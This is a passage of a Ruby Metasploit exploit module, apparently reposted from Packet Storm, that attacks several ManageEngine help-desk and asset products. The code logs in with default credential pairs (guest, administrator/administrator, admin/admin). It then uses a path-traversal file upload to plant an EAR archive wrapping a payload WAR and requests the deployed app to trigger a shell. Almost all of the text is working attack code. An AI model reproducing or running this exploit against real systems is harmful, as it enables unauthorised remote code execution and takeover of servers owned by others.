authenticate_it360(uri[0], uri[1], 'admin', 'admin') if cookie != nil return cookie end end end nil end # # Authenticate and validate our session cookie. We need to submit credentials to # j_security_check and then follow the redirect to HomePage.do to create a valid # authenticated session. # def authenticate(cookie, username, password) res = send_request_cgi!({ 'method' => 'POST', 'uri' => normalize_uri('/j_security_check;' + cookie.to_s.gsub(';', '')), 'ctype' => 'application/x-www-form-urlencoded', 'cookie' => cookie, 'vars_post' => { 'j_username' => username, 'j_password' => password, 'logonDomainName' => datastore['DOMAIN_NAME'] } }) if res && (res.code == 302 || (res.code == 200 && res.body.to_s =~ /redirectTo="\+'HomePage\.do';/)) # sd and ae respond with 302 while sc responds with a 200 return true else return false end end def login # Do we already have a valid cookie? If yes, just return that. if datastore['JSESSIONID'] != nil cookie = 'JSESSIONID=' + datastore['JSESSIONID'].to_s + ';' return cookie end # First we get a valid JSESSIONID to pass to authenticate() res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri('/') }) if res && res.code == 200 cookie = res.get_cookies authenticated = authenticate(cookie, datastore['USERNAME'], datastore['PASSWORD']) if authenticated return cookie elsif datastore['USERNAME'] == 'guest' && datastore['JSESSIONID'] == nil # we've tried with the default guest password, now let's try with the default admin password authenticated = authenticate(cookie, 'administrator', 'administrator') if authenticated return cookie else # Try one more time with the default admin login for some versions authenticated = authenticate(cookie, 'admin', 'admin') if authenticated return cookie end end end end nil end def send_multipart_request(cookie, payload_name, payload_str) if payload_name =~ /\.ear/ upload_path = '../../server/default/deploy' else upload_path = rand_text_alpha(4+rand(4)) end post_data = Rex::MIME::Message.new if @my_target == targets[1] # old style post_data.add_part(payload_str, 'application/octet-stream', 'binary', "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(4))}\"; filename=\"#{payload_name}\"") post_data.add_part(payload_name, nil, nil, "form-data; name=\"filename\"") post_data.add_part('', nil, nil, "form-data; name=\"vecPath\"") post_data.add_part('', nil, nil, "form-data; name=\"vec\"") post_data.add_part('AttachFile', nil, nil, "form-data; name=\"theSubmit\"") post_data.add_part('WorkOrderForm', nil, nil, "form-data; name=\"formName\"") post_data.add_part(upload_path, nil, nil, "form-data; name=\"component\"") post_data.add_part('Attach', nil, nil, "form-data; name=\"ATTACH\"") else post_data.add_part(upload_path, nil, nil, "form-data; name=\"module\"") post_data.add_part(payload_str, 'application/octet-stream', 'binary', "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(4))}\"; filename=\"#{payload_name}\"") post_data.add_part('', nil, nil, "form-data; name=\"att_desc\"") end data = post_data.to_s res = send_request_cgi({ 'uri' => normalize_uri(@my_target['attachment_path']), 'method' => 'POST', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'cookie' => cookie }) return res end def pick_target return target if target.name != 'Automatic' version = get_version if (version[0] <= 7 && version[2] < 7016 && version[3] == 'sd') || (version[0] == 4 && version[3] == 'ae') || (version[3] == 'sc') # These are all "old style" versions (sc is always old style) return targets[1] elsif version[3] == 'it' return targets[3] else return targets[2] end end def exploit if check == Exploit::CheckCode::Safe fail_with(Failure::NotVulnerable, "#{peer} - Target not vulnerable") end print_status("#{peer} - Selecting target...") @my_target = pick_target print_status("#{peer} - Selected target #{@my_target.name}") if @my_target == targets[3] cookie = login_it360 else cookie = login end if cookie.nil? fail_with(Exploit::Failure::Unknown, "#{peer} - Failed to authenticate") end # First we generate the WAR with the payload... war_app_base = rand_text_alphanumeric(4 + rand(32 - 4)) war_payload = payload.encoded_war({ :app_name => war_app_base }) # ... and then we create an EAR file that will contain it. ear_app_base = rand_text_alphanumeric(4 + rand(32 - 4)) app_xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>" app_xml << '<application>' app_xml << "<display-name>#{rand_text_alphanumeric(4 + rand(32 - 4))}</display-name>" app_xml << "<module><web><web-uri>#{war_app_base + ".war"}</web-uri>" app_xml << "<context-root>/#{ear_app_base}</context-root></web></module></application>" # Zipping with CM_STORE to avoid errors while decompressing the zip # in the Java vulnerable application ear_file = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) ear_file.add_file(war_app_base + '.war', war_payload.to_s) ear_file.add_file('META-INF/application.xml', app_xml) ear_file_name = rand_text_alphanumeric(4 + rand(32 - 4)) + '.ear' if @my_target != targets[3] # Linux doesn't like it when we traverse non existing directories, # so let's create them by sending some random data before the EAR. # (IT360 does not have a Linux version so we skip the bogus file for it) print_status("#{peer} - Uploading bogus file...") res = send_multipart_request(cookie, rand_text_alphanumeric(4 + rand(32 - 4)), rand_text_alphanumeric(4 + rand(32 - 4))) if res && res.code != 200 fail_with(Exploit::Failure::Unknown, "#{peer} - Bogus file upload failed") end end # Now send the actual payload print_status("#{peer} - Uploading EAR file...") res = send_multipart_request(cookie, ear_file_name, ear_file.pack) if res && res.code == 200 print_status("#{peer} - Upload appears to have been successful") else fail_with(Exploit::Failure::Unknown, "#{peer} - EAR upload failed") end 10.times do select(nil, nil, nil, 2) # Now make a request to trigger the newly deployed war print_status("#{peer} - Attempting to launch payload in deployed WAR...") res = send_request_cgi({ 'uri' => normalize_uri(ear_app_base, war_app_base, Rex::Text.rand_text_alpha(rand(8)+8)), 'method' => 'GET' }) # Failure. The request timed out or the server went away. break if res.nil? # Success! Triggered the payload, should have a shell incoming break if res.code == 200 end end end Source : ManageEngine Multiple Products Authenticated File Upload ? Packet Storm